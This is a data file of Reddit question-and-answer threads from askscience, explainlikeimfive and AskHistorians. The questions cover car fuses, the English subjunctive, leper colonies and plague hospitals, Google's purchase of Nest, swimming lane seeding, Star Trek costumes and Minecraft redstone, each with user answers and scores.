{"q_id": "14e01o", "title": "Why don't cars have breakers like buildings?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/14e01o/why_dont_cars_have_breakers_like_buildings/", "answers": {"a_id": ["c7c809a", "c7c867d", "c7c8aty", "c7c8noo", "c7c8r6h", "c7c8ups", "c7c9fyh", "c7cgu93"], "score": [16, 22, 7, 2, 4, 6, 2, 2], "text": ["It is mainly because of cost and size. Fuses are cheap and compact. [Blade type](_URL_0_) circuit breakers are made and you can replace your fuses with them but they may not fit into your fuse panel. ", "Keep it simple.  The fewer moving parts you have the less likely something is to break.  There is a lot of bumping and vibration in a moving vehicle, both from just the engine running and driving over the road or rough terrain.  Household breakers have contacts that are pulled apart in the event of a surge, but sufficient vibration or a sudden shock could force them apart prematurely.  You really don't want random systems in your car getting powered down while driving.", "Not sure if there is a scientific answer for this.\n\nAs /justheretofap mentioned, cost and size, but I will add safety. Some circuits actually have a self setting circuit breakers, but they are becoming uncommon in today's vehicles. \n\nWhen a fuse blows in a car that indicates there is a problem...a short of some sort. If a circuit breaker is continually reset, this may result in starting a fire...melting wires. Typically when a fuse is rated for 20a, the circuit is only pulling 25% of that through the fuse. ", "I do not have data sitting in front of me but the only differences that I've really heard of is that a fuse has much faster reaction time and has a tighter error on the rating (pops at X Amps +- error). \n\nAlso costs add up pretty fast. $0.50 vs $2-3 x ~40 slots. ", "it's not that simple. a car does not produce as much electricity as comes into a home through a fuse box. so the blowout fuses are actually cheaper and far more efficient.\n \na decent breaker is about a dollar or 2, more the higher you go. but you can get an assortment of the little fuses for the same price. plus given the number of times you actually need to change one it makes better sense to use them.", "You are much more likely to blow a circuit inadvertently at home (eg hair driers) than in a car, where most circuit load is determined at the factory (cigarette lighters and power outlets probably being the only exception).", "The cost of 1 fuse is less than $1, while a single circuit breaker is around $10.  When a car has 30 fuses it costs $30, 30 circuit breakers is $300.  Multiply that by 1 million cars and fuses save about $270,000,000 at the production line.", "My 1963 Mercedes Unimog (Cabover military truck) has them and they work very well.\n\n_URL_0_ (not my truck but identical)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.cooperindustries.com/content/public/en/bussmann/consumer/products/automotive_circuitprotectionprdandacc/automotive_marinecircuitbreakers/atm_atc_max_glasstube.html"], [], [], [], [], [], [], ["http://www.benzworld.org/forums/attachments/unimog/479675d1353273245-fuse-2012-11-18-14.09.59.jpg"]]}
{"q_id": "25gys2", "title": "why do we use past tense when speaking hypothetically? for instance \" i wish i was a millionaire\" not \"i wish i am a millionaire?\"", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/25gys2/eli5_why_do_we_use_past_tense_when_speaking/", "answers": {"a_id": ["chh1vxo", "chh26l3", "chh2837", "chh2kq6", "chh9nwl", "chhb2wa", "chhbich", "chhbnuk", "chhc54m", "chhcs1f", "chhe751", "chheebj", "chhep44", "chhh0sn", "chhhi7m", "chhi955", "chhjyqy", "chhkmtg", "chhkoak", "chhl388", "chhlrua", "chhm526", "chhm83f", "chhmgbd", "chhmvzb", "chhn1bd", "chhncpo", "chho3z0", "chhp7lk", "chhv26a"], "score": [89, 2486, 2, 63, 24, 2, 2, 7, 14, 10, 19, 6, 18, 1757, 2, 7, 2, 8, 2, 9, 3, 2, 2, 4, 6, 5, 6, 2, 5, 3], "text": ["It's grammatically incorrect. It should be \"I wish I *were* a millionaire.\"", "Actually, *both* of those examples are incorrect.  This is a specific grammatical style called the [subjunctive mood](_URL_0_).  The subjunctive is used when talking about hypotheticals and wishes, and in English, it uses the past *participle*.\n\nSo the correct phrasing is, \"I wish I **were** a millionaire.\"  Other examples, \"I wish I *had eaten* dinner before we left,\" and, \"If I *were* king, I'd eliminate all reality TV.\"", "The conditional tense is \"I wish I were a millionaire.\"  The conditional tense is used to tell the listener that the thing we're discussing hasn't happened, but could.\n\n\"I wish I was a millionaire\" means that you wish you had been one, but are not one now. \n\n\"I wish I am a millionaire\" is nonsense. The present tense is used to tell the listener that the thing we're discussing is happening now.  Hence \"wish\" in the present tense, but not \"to be\" because you aren't a millionaire, you wish you were one.", "English used to have a subjunctive mood for this sort of thing: other languages, such as German, still do. In English, however, it has, to all intents and purposes. The last vestiges of it are found in a few places, including some people's objection that your sentence should read: \"I wish I were a millionaire.\" This is the old subjunctive mood, but purists aside, nobody says it like that any more.\n\nInstead, we use the past tense for things that are hypothetical. Why? Because our language has evolved in this way.\n\nLet's begin by clarifying one thing: technically, *English only has two tenses*, and these are: present and past.\n\nThis is confusing to those who have learned, for example, that \"I have eaten\" is a present perfect tense, but that's just a convenient label. Actually, it's the perfect aspect of the present tense. Similarly, \"I will survive\" is not a future \"tense\" (there is no such thing in English), as it uses the present tense of the modal verb \"will\" -- the past tense of \"will\" is \"would\".\n\nSo now we're in a position to explain what's going on -- and bear in mind, this isn't an explanation for why it is so (the answer to that is, as I have already said, because that's how our language happened to evolve), but a way of describing what it is.\n\nBasically, we use the past tense to describe distance. Here's how it works:\n\n**Temporal distance**\n\nThis is \"the past\". When we say \"I have a helicopter\", we are stating that this owning the helicopter is right now: it occupies the same \"place in time\" as we do at the moment. But when we say \"I had a helicopter\", we now move the very away from us *in time*. The present is \"here\", the past is \"there\".\n\n**Social distance**\n\nThis is more subtle. If I say to you, \"Will you close the window!\" in the present tense, I am not being very polite. But if I use a past tense and say, \"Would you close the window?\" that makes it a bit more polite. Politeness is an expression of social distance: we are not \"close\".\n\n**Distance from reality**\n\nAnd finally, we use the past tense to say that something is removed from reality -- in other words, it is hypothetical. \"I have a helicopter\" is a statement about reality, but \"I wish I had a helicopter\" is a statement that is distant from reality.", "Just throwing this out there as a general comment because I'm seeing repeated errors. Minor errors, to be sure, but still.\n\nEnglish has two tenses. Past and present. That's it.\nEnglish also has mood, aspect, and voice. These are other types of verbs that we use to convey different things.\n\nIn the case of OP's question, as has already been stated, we use the subjunctive mood to convey contrary-to-fact ideas -- I wish I were a millionaire (but I am not). It happens to look like the past tense, but it's not. Lexical overlap.", "'was' is past tense. 'I wish I was a millionaire' says that you wish that at some point in the past you had a million dollars.\n\n'were' is the subjunctive mood. It means that you're discussing something that is not factual. \n\n", "In hypothetical situations, use \"were\"", "\"I wish I were an Oscar Myer wiener...\"", "In hypothetical situations it is proper to use the subjunctive: \"I wish I were a millionaire\". \nIt is common to use the past tense and many do not realize it is incorrect. ", "It should be:  \"I wish I ***were*** a millionaire.\"  That's the subjunctive.  You are stating something that is not the case.", "Over 200 comments and almost no one addressed the question itself. \n\nFrom what I can tell, OP wants to know why, when we speak hypothetically, we use a form of the verb 'to be' other than the one associated with the present tense. And yet, everyone jumps on him/her for a technical but extraneous error, completely ignoring the actual question, which it turns out, now that I think about it, is a pretty good question.\n\nOP, your best bet is to ask someone over in /r/linguistics. ", "From an anthropological perspective?  Because that's just how speakers of Modern American English express a hypothetical.  Languages change over time, and you'll see a lot of people here saying that the usage is incorrect... buuuuuuut understand that \"man\" used to be a gender neutral term, and there was a time when cock exclusively meant a rooster (well... i think technically a male fowl...).  It's not that everybody objecting to your wording are wrong, English grammar lessons all say that you really should be wording that differently.  But that's just not how a native speaker of American English (as an American, I can only speak about being a native speaker of my own brand of English) phrases things anymore.  The rules of how a languages works do change over time, that's why speaking English today doesn't grant you sudden, Old English fluency.  \n\nTLDR: That's just how English speakers phrase things.", "Looking more at the \"why\" of it, some linguists suggest that language has various redundancies built into it that help to ensure effective communication. For example, in \"I wish I were rich\" there are two things telling you that I'm not actually rich. The first is \"I wish\" and the second is \"I were rich.\" This is a good thing because if you miss \"I wish\" when I'm speaking (because it's noisy or whatever) you still catch that \"I were rich\" is odd and avoid a misunderstanding. \nThere's nothing special about the specifics of conjugation (which I think is why \"I wish I were rich\" is turning into \"I wish I was rich\") but it's important that we have generally accepted rules on conjugation and verb-subject agreement, etc. Since we all make mistakes all the time, we need redundancies in language to enable communication.", "Linguist here, though not a semanticist, which is what we really need in this thread.\n\nI've browsed through the responses. Most seem to be chastising OP on their use of \"was\" rather than \"were\". Linguists try to explain language as it is, not language as it \"should\" be according to some imaginary standard of grammar. But in any case, the question OP is really asking is: why use a past tense form of the verb, and not a present tense form, in counterfactuals (sentences that express situations that do not exist in reality), like these:\n\n1) I wish this comment were higher up in the thread.\n\n2) If this comment were higher in the thread, people might learn something about linguistics.\n\nWe could say something like, well, that's just the way English evolved. But here's the cool thing: if you look at how other languages construct counterfactual sentences like (1) and (2), there will only be a few patterns, and many languages will share the English pattern. It's not random.\n\nHere's one theory of what the past tense means (Iatridou 2000): that \"the X that we are talking about\" excludes \"the X that we know is the X of the speaker\".\n\nLet's look at the ordinary past tense.\n\n(3) John smoked.\n\nWhat does this mean? It means that at the time when the speaker was speaking, John was not smoking. \"The time when John smoked\" excludes \"the time when the speaker uttered this sentence\". This fits the pattern of the past tense, using X = time, so we use the past tense form of the verb \"to smoke\".\n\nNow what about the counterfactual sentences?\n\n4) I wish I were a millionaire.\n\nThis means that the possible worlds in which the speaker is a millionaire, excludes the world of the speaker - because in the world of the speaker, they aren't a millionaire. This also fits the pattern of the past tense, but where X now means \"worlds\", so we'll use the \"past tense\" form of the verb \"to be\"!\n\nSo, if we take \"past\" to have this specific meaning, which can be formulated mathematically, it makes PERFECT sense to use it for both regular past tense and the \"fake\" past tense of counterfactuals!\n\nSource: vague memories of first-year semantics", "We use tenses to create a sense of distance from ideas.  A good example is the sales comeback phrase for objections Feel-Felt-Found.  'I realize how you feel about the product, a lot of people have felt that way but we found that once they bought/tried/tasted it they were very happy'.  Its a magic trick of language to take you away from the idea and back to it. ", "Subjunctive is tricky and many Americans get it wrong (at least as far as prescriptivism is taken into consideration). As others have pointed out, it's more properly:\n\nI wish I were a millionaire.\n\nBut even that's not wonderful. This would be even more proper.\n\nI wish that I were a millionaire.\n\nAnd if you'd like a way to help you remember this subjunctive situation, you can always add \"to be\" and see if it works or not. For example:\n\nI wish that I were (to be) a millionaire. \n\nOr, if you prefer the even fancier pants version:\n\nWere I to be a millionaire! (the wish is even included even though it's not present! cool!)\n\n\nOr more simply:\n\nWere I a millionaire,  < rest of sentence here > . \n\nYou can also do funny constructions that are completely legit:\n\nWere that I were! (a millionaire) ", "It will be i wish I were a millionaire. And that's because in the English grammar that's how you express something you wish you can be and is possible", "This puts a new twist on the genie jokes. \n\n\"You have one wish. Choose wisely. \"\n\n\"Ok. I wish I was a millionaire!\"\n\n\"Kazam! You 'was' a millionaire and now you is a broke ass bum. \" ", "It is not the past, it's the subjunctive.", "The explanation:\n\nShort Answer:\n\n* \"I wish I was\" is wrong, because then you're telling me, you want to be a millionaire in the past, but only then, not necessarily anymore now.\n\n* \"I wish I am\" is wrong, because \"I am\" is only used for stating facts. Because you're not stating a fact - you are not allowed to make a \"factual\" -like statement about the present. Even if you put \"I wish\" before it.\n\n* \"I wish I were\": the correct form\n\nLong answer:\n\nIn English we have things called **moods**.\nexpressions of desire, wishing, hypotheses; fall under the **subjunctive mood**.\nexpressions of facts, fall under the **indicative**\n\nThere is right now 1 relevant **subjunctive mood**\n\n* counter factually to the present (**past subjunctive**)\n\nwhen talking **counter factually to the present**, so something that isn't true about the present, then you use the **past subjunctive form** of the verb.\n\n* that - clauses (I wish that......)\n* if - clauses (if she had/were...) \n\nif you don't do this; but use like you did, **the indicative form**: \"I wish I am\", \n\nit will seem as if you're wishing for something that is already true.\n\nA lot of people are saying that this has to do with \"you wanted it for yourself in the past\". Though very creative...I wonder where they got this answer from. It has nothing to do with TENSE (when things happen). If it had to do with tense, we would see a change in the verb \"wish\" (for instance \"I wished\")\n\nI hope this helps. if not, do ask me more questions. :)\n\nSOURCE: English Major at a University.", "I wish I *were* a millionaire.", "Actually, it should be \"I wish I were a millionaire\"", "I wish I were a millionaire*", "This is what I teach my ESL students:\n\nIn English, past tenses are used for three things:\n\n1) past time\n\ne.g. I went to the market yesterday.\n\n2) unreality (wishes, unreal conditionals, etc.) If something is not real, you express that using a past tense.\n\ne.g. I wish I were a cosmonaut.\n\ne.g. If you had studied harder, you wouldn't have failed. (had/would are both past tenses because both clauses are unreal)\n\n3) politeness (Could you ..., Would you ...)\n\ne.g. Could you open the door for me, please?\n\nThese three cases convey a sense of 'distance': distance in time, distance in reality, distance in social level.", "I think that the subjunctive \"I wish I were\" is more correct here, and it just degenerated into \"I wish I was\"", "subjunctive mood is not past tense and it should be were rather than was.  subjunctive mood denotes an unreal condition.", "It is not actually past tense, but rather the subjunctive mood.\nIn contemporary English it is common to see past tense instead of subjunctive verb conjugations (\"**I was**\" instead of \"**I were**\") because, save for the verb \"to be\", the subjunctive verb forms look identical to past tense forms. \n\nThe distinction between \"I was\" and \"I were\" is left over from Old English, which had a distinct pattern of verb conjugation for the subjunctive mood.\n", "Neither of those are right....", "I would like to preface this comment by giving props to /u/cactus_on_the_stair for providing the in depth, linguistic answer. But to be more direct and for those \"tl;dr people,\" neither of your quoted phrases is grammatically correct. \"I wish I were a millionaire\" is correct because \"were\" doesn't necessarily adopt a tense, but rather a state of being for the speaker. Any time any one says \"I wish I was,\" is technically an incorrect use of the phrase, yet it has become an acceptable colloquialism in popular communication. \n\nIf interested, read up on the subjunctive.", "\"I wish I was a millionaire\" is not correct English, actually.  The correct verb form is \"I wish I were a millionare.\"   The \"were\" verb form is the subjunctive tense.  The same tense and form exists in most Romance languages derived from Latin.  The subjunctive tense is used for expressions that are conditional or hypothetical. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Subjunctive_mood"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "4cfduz", "title": "if i throw my dress shirt on the floor overnight, it wrinkles. why then if i hang it up the next day, doesn't it unwrinkle?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4cfduz/eli5_if_i_throw_my_dress_shirt_on_the_floor/", "answers": {"a_id": ["d1hmmsm"], "score": [30], "text": ["When you throw it on the floor, you've just taken it off. The fabric has absorbed a lot of humidity from your body, and is warm, both of which make the cotton more likely to hold a new shape as it dries and cools.\n\nThis is why ironing works - the heat and damp soften cotton slightly allowing it to set into a new (hopefully flat) shape."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2tilxi", "title": "The dynamics in the leper colonies in medieval and pre-modern Europe.", "selftext": "How were the dynamics in leper colonies? Did people took care of eachother? How did they get food? What happened with children in those places, did they get some sort of mother? When someone of the colony died how were they burried, did they get some sort of funeral or formal burrial? What was the average lifespan of someone in the colony? Did some healthy family members willingly join their wife, husband, mother, father? \nMaybe a stupid question, but what happend in regions were there wasn't a leper colony easily accessible? Were those people just thrown out of the city?\nI know there a lot of questions but answer what you can please. If I forgot something that might be interesting feel free to contribute. Oh and if you got some interesting reading material feel free to leave sugetions.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2tilxi/the_dynamics_in_the_leper_colonies_in_medieval/", "answers": {"a_id": ["cnzj83e"], "score": [12], "text": ["Although there might have been a Leper Colony that resembled the sort of *Escape from New York* or *Soylent Green* scenario you describe, in Italy, at least, leper colonies were reasonably organized affairs, although I don't know as much about leper colonies as I know about plague quarantine. Perhaps a few details about XV-XVI century healthcare in Italy during the Black Death can interest you. \n\nIn Milan, the *Ospedale Maggiore*, or \"Major Hospital\", sometimes also called *Ca' Granda* or \"Big House\", was founded in 1450 by Duke Francesco Sforza as a place where the poor could go for treatment of injuries, sickness, or diseases. It replaced the various hospices, often religious in nature, that dotted the city, providing healthcare to the needy (the rich, on the other hand, would be able to pay for a doctor to come to their house). \n\nChronic, terminal, or infective diseases (including Leprosy) were treated in a structure constructed in 1509 located just outside the city walls, named after both its architect, Lazzaro Palazzi and St. Lazarus, paitron saint of lepers: the *Lazzaretto* (mirroring the rich, who would travel to spas or country retreats to be cured of troublesome diseases. In the XV century, the spas at Trescore were the most popular among the Milanese nobility). \n\nWith the outbreak arrival of the Bubonic Plague in Milan in 1524, the *Lazzaretto* was soon entirely filled victims of the plague. [It was a large rectangular structure with a chapel at its center](_URL_0_) (later expanded to a church), with walls 375 meters long, and had a single entrance, guarded by soldiers. It had 280 \"chambers\" in which the sick recovered, and eight (four on each side of the entrance) for staff. You can see that orchards and vegetables are being grown in within the walls; a trend reflected in most *Lazzaretti*, which were attached to (more or less) self-sufficient monasteries. As Leper Colonies were also often founded near, within, or by monasteries, similar self-sufficiency took place. \n\nThe actual task of caring for the sick, especially initially, fell in part to clergymen (in Venice, postulated to be the first city to have built a leper colony, built colony was built on a relatively isolated island that housed a particularly charitable monastery. As terminal patients increase thanks to the plague, another monastery located on a more obscure island of the Venetian Lagoon was given the \"Honor\" of caring for a new colony, just for victims of the plague. Lastly, a third uninhabited island, was used for a third purpose-built colony. This has nothing to do with anything, but log after the plague went away, the island was given to a group of Armenian monks fleeing the Turks). When the plague got bad, however, most jobs fell to the *Monatti*; people appointed by the city to care for plague victims. At first, the *Monatti* were criminals sentenced to death, but as the plague got more problematic all sorts of convicts were employed. People who had been cured of the plague and had developed immunity were also commissioned by the city as *Monatti* to identify symptoms of the plague and bring people, sometimes forcibly, to the *Lazzaretto*. The *Monatti* were by no means saints, and often stole money and jewelry from moribund victims of the plague. However, treatment was, on the surface, rather organized: the *Monatti* were accompanied by *Apparitori*, who performed a number tasks not involving interaction with plague victims (such as ringing a bell to announce the passage of the *Monatti* and their cart in the street, and various tasks in the *Lazzaretto*) as well as *Commissari* or overseers, who organized work in the *Lazzaretto*.\n\nMost colonies for victims of infectious diseases actually look pretty much the same, they were basically large hospitals, albeit with high walls to keep the disease (and the diseased) from leaving. That being said, they weren't particularly nice places to be (the one in [Ancona](_URL_1_) is particularly austere, especially if you consider that it once jutted out into the sea, although today the harbor has been artificially expanded around it). Most cities built them just outside the city walls, with the intention of keeping plague victims away. Children could be confined there, but they would probably not survive very long, and healthy family members would most definitely not want to go. Victims were for the most part buried in mass graves. However, keep in mind that it was mostly the poor who were confined to the *Lazzaretti* and they would be buried in mass graves to begin with. Most wealthy or even middle class families would seek treatment at home, perhaps even by a doctor at first, and if their condition didn't improve, I'm sure their family members would do what they could. Of course, keep in mind that for most of human history, the poor greatly outnumbered the middle and upper class. \n\nGiuseppe Ripamonti gives a chilling first hand account of the 1630 plague, but dusty books from the XVII century might not be your cup of tea, I suggest you read the *The Betrothed* by Alessandro Manzoni, even if it is a work of fiction. It's a bit of a bore, but no worse than *Les Miserables*. I think it's a rather derivative work of romanticism, but most Italians are convinced it's a masterpiece of global literature, go figure. In any case, Manzoni used Ripamonti's account of the 1630's plague as a basis for the events he describes, so the actual history he describes is accurate, and in my opinion much better than the story.   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://upload.wikimedia.org/wikipedia/commons/a/a6/Dal_Re%2C_Marc%27Antonio_%281697-1766%29_-_Vedute_di_Milano_-_Il_lazzaretto.jpg", "http://upload.wikimedia.org/wikipedia/commons/7/72/Ancona_Mole_Vanvitelliana.JPG"]]}
{"q_id": "79kjts", "title": "When did Europe recovered from the fall of Rome. Was it at the Renaissance and the New World? or maybe late 19th century with the Industrial Revolution and the creation of Germany?", "selftext": "The Romans seemed to be ahead of their time, a society that accomplished feats of great magnitude. So when was society in Europe back to that certain degree of sophistication and order. The years that followed had Europe in the mess that is Feudalism but that ended around the 1500's and the continent became richer by exploiting the Americas. The industrial revolution brought great innovations that the world had ever seen including the great often taken for granted modern sewer system. So truly my question is after Rome, when did Europe became awesome again?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/79kjts/when_did_europe_recovered_from_the_fall_of_rome/", "answers": {"a_id": ["dp2pgew"], "score": [2], "text": ["There's certainly room for someone to write you a full response, but you may be interested in these previous questions/answers:\n\n[Did the Catholic Church hold back scientific and technological progress in the Middle Ages?](_URL_1_)\n\n[Myths about the Medieval times?](_URL_0_)\n\n[Why are the European \"Dark Ages\" considered a misnomer?](_URL_2_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/6pq1i7/myths_about_the_medieval_times/dktotqo/", "https://www.reddit.com/r/AskHistorians/comments/67pwj9/did_the_catholic_church_hold_back_scientific_and/dgsfsvl/", "https://www.reddit.com/r/AskHistorians/comments/235w3l/why_are_the_european_dark_ages_considered_a/cgtr2i9/"]]}
{"q_id": "1v9pgc", "title": "why is people so bothered with google acquiring nest? why are they worried with google having access to thermostat data, when it already has mobile/search engine data?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1v9pgc/eli5_why_is_people_so_bothered_with_google/", "answers": {"a_id": ["ceq2q6o", "ceq2qfm", "ceq2u19", "ceq3vx8", "ceq4ql6", "ceq513f", "ceq5f24", "ceq6677", "ceq6bmj", "ceq6ys3", "ceq8w2d", "ceq9n87", "ceq9qk2", "ceqa9j4", "ceqaaln", "ceqaxnq", "ceqb4d8"], "score": [50, 28, 24, 4, 7, 2, 7, 5, 8, 3, 4, 3, 2, 3, 3, 2, 2], "text": ["People are afraid that one company will get too much power, like the mega corporations in science fiction movies. People are afraid that they will come dependent on just one big company, until the point there is nothing left to choose. ", "Why are people, not why is. Sorry, english is not my first language.", "Google make money through collecting data and selling ads, not selling hardware. Nest as it's own company made money simply off of selling hardware. So by being acquired people are afraid of pulling data from it, such as when you are home and when you are away. \nThe other inconvenience is ads. What if you thermostat every time you changed it would talk to you? \"You've made the room 3 degrees warmer. Try Swiss Miss hot chocolate to fight the cold.\"", "If you are really paranoid you could imagine someone that can potentially know a huge deal about you also having power over the thermostats in your house not being a good idea", "Because google is the real life abstergo industries ", "This is yet another step in the inevitable takeover of Google/Skynet. \n\nRepent now, redditors. The robot apocalypse is approaching soon. \n\n*loads shotgun and heads to bunker* ", "It has to do with Google's reach.  Search engine data is one thing, but with them acquiring nest they can exploit a whole host of other advertising mechanisms and have solid data to back it up.\n\nThink about what something as simple as knowing your homes temperature can give to Google in terms of advertising muscle.\n\nDoes the temperature of your house drop quickly in the winter?  Google will start suggesting energy efficient windows and high quality insulation.\n\nThat's just one example, but it gives an idea as to the premium data available with the acquisition.  And I would also venture that Google will be able to charge other companies a premium to take a look at that data.\n\nNow, one important thing to keep in mind of the kind of power over your home this could give you.  Nest also came out with a carbon monoxide and smoke detector.  It's not hard to imagine Google sending you a text message to automatically alerting the fire department in there's smoke in the house and the nest knows you're not at home.  There are so many positive implications that get overlooked.  It's really kind of astounding.", "A lot of people are also just disappointed that a small, plucky, innovative startup was just swallowed up by a massive corporate money machine that has a history of dissolving small, plucky, innovative projects that don't make enough money.", "I see you like to set the thermostat to 65 when you go to watch gay hardcore Asian bestiality... interesting. Here's the same old ad for a slimmer waistline. ", "I'm surprised no one has brought this up...\n\nThe point of Nest is that you turn down the heat when you're not in the house, and turn it back up before you come home. You use the internet to coordinate with Nest remotely.\n\nWhich means that if you use Nest, the data-miners at Google can tell when your house is empty. It also means that information is now \"out there\" for, say, the NSA, the FBI, or enterprising burglars to take advantage of if they can get their hands on it.", "If the NSA bought this company would you trust it? Would you want a \"Smart Home\" powered by the NSA? Google's reputation is not much better.\n", "Why do you wanna know?  Who sent you?\n", "The Verge did a write-up on this exact question: _URL_0_", "Google is a large corporation that isn't union. They shut down Ma  &  Pa webpages and closed down mainstreet. ", "Because Google makes 90+% of their money off of targeted advertisements and some people don't want to marketed. [I'll let Mr. Hicks explain.](_URL_0_)", "Hold on to your privacy and freedoms. Once you let them go it's almost impossible to get them back. ", "I don't think the majority of people are afraid.  I just believe the main stream media interviews the same 5 idiots over and over again with shit opinions and write their headlines/stories based upon these warped point of views."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], ["http://www.theverge.com/2014/1/14/5307530/why-is-everyone-disappointed-by-google-buying-nest"], [], ["https://www.youtube.com/watch?v=WVZo1Jjfshw"], [], []]}
{"q_id": "4wx5x0", "title": "why is it that the swimmers in the middle lanes always seem to do better than those on the outside lanes?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4wx5x0/eli5_why_is_it_that_the_swimmers_in_the_middle/", "answers": {"a_id": ["d6aku9h", "d6akvzw", "d6an5a1", "d6ao73z"], "score": [16, 6, 2, 19], "text": ["The top seeded swimmers are generally placed in the middle lanes. \n\nThat's really the long and short of it. The fastest swimmers in qualifying heats are placed in those lanes so, predictably, they tend to do better in the race.", "Because that is how they are seeded!\n\nLane 4 (out of 8) is the fastest qualifying time.  Then it goes 5 > 3 > 6 > 2 > 7 > 1 > 8.  Or something to that effect.  Lane 4 is the fastest, but I can't remember whether 3 or 5 comes next.", "I imagine that swimmers going that fast will create a wake (think waves coming behind a speed boat). If you are in the middle lane then you will not have to deal with any wake (aka turbulence) of the other swimmers if the swimmer in lane 4 stays out front. But the 2 slower swimmers who have times close to you will have to swim through your wake. Additionally, in lane 4, you're more likely to see the positions of other swimmers and know where you stand. The swimmer in lane 1 will have no idea what is going on past lane 4. ", "Swimmer here:\n\nYou are placed in lanes via prelim race times. So if you swim the fastest prelim time, then you are the highest seed, and get put in the middle lane (4). The fastest swimmers are put in the middle lanes due to the wake a swimmer produces when they swim. The middle of the pool will have the least wake-interference, which allows you to swim through less choppy water, resulting in a faster time than if you are dealing with water coming from all angles from other swimmers wakes. The slowest swimmers in the heats get put on the outside, where they have to deal with waves coming from other lanes, and bouncing off the side walls (although this gets mitigated a bit- if you look at the Olympic pools they always have an open lane on either side of the swimmers to act as a buffer for this turbulence coming off the wall).\n\nThat's why it is worth it for the best swimmers to do well in the qualifying races, so they get put in a better lane for the finals!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "f5a9y8", "title": "In the original *Star Trek* all female crew members wore very short dress shirts. I read once this was due to Gene Roddenberry wanting time show women in the future were sexually liberated, and not because of the male gaze. Is there evidence to back this up? Does a snapshot of the women\u2019s sexual-", "selftext": "-liberation movement in the early sixties help confirm this?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/f5a9y8/in_the_original_star_trek_all_female_crew_members/", "answers": {"a_id": ["fhybeis"], "score": [85], "text": ["The Female Uniform seen in most of Star Trek's original 3 seasons was not, so far as we know, a Roddenberry creation or idea.\n\nFor Roddenberry's concept for uniforms on the series, you need to look at what was worn in \"The Cage\", the original Pilot for Star Trek. In that, all crewpersons wore the same basic uniform, regardless of gender. This continues into the 2nd pilot, \"Where No Man...,\" where the redesigned uniforms are still worn by all genders.\n\nIn between the production gap between the 2nd Pilot and start of series, the new regular, Grace Lee Whitney, recommends an alternative uniform. The Production Team adopt her idea, and thus the well-known Female Duty Uniform is introduced, although you still see background Women characters in the OG uniform for a couple more episodes (\"The Man Trap\" and \"Charlie X\")\n\nAccording to Whitney, Roddenberry did the final sign off on the uniform design, with her as model. However, she implies it's at the end of a process she went thru with Theiss, the costuming head for the show, where she wanted an outfit that \"show[ed] off my assets.\" One can assume it was then aligned to the other women crewmembers on Star Trek.\n\nAs for \"why,\" aside from the design being \"eye-catching,\" I've never seen a political/social reason given as a memo or other primary source for the choice. The kinds of references /opinionswe do know about are sampled by Shatner, who is quoted as saying at the time it meant that Trek could \"boast the shortest skirts on women of any regular series on television.\"\n\nBut no, no contemporary references I know of to sexual/women's liberation, around this design. That is not to say some opinions on \"why\" weren't stated after the fact, as Trek grew in popularity -- however that's a separate, and more involved, conversation.\n\nTwo references:\n\n* The Longest Trek: My Tour of the Galaxy by Grace Lee Whitney  &  Jim Denney -- pg 77-78\n* These Are The Voyages, TOS, Season One by Marc Cushman  &  Susan Osborn -- end of Chapter 7"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4oqlkk", "title": "how is a working hard drive within a videogame like minecraft possible?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4oqlkk/eli5_how_is_a_working_hard_drive_within_a/", "answers": {"a_id": ["d4etekv", "d4etyv2"], "score": [3, 3], "text": ["A hard drive is, at the most basic level a huge set of switches. 0s and 1s in the terms a computer thinks. \n\nSo could, theoretically make a hard drive with a ton of light switches. Which is basically what they have done is mine craft. ", "Minecraft has redstone, which works pretty well as a circuit. It could be itself called a 3D programming language, though very basic. If Minecraft went farther, it could be used to test hardware; however, this has already been done with tools like LiveCDs.\nIf you pictured Minecraft redstone in a 2D programming tool, like Scratch, you would get something like this:\n\n    If [Pressure Plate is active] = >  Delay [Repeater: 1 second] = >      Delay [Repeater: 1 second] = >  Then [Activate Piston Push]\n\nJust because it is pictured inside a completely fictional world doesnt mean it is weird for it to work; because, even if its more complicated to do so, it works really similar to a circuit board."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
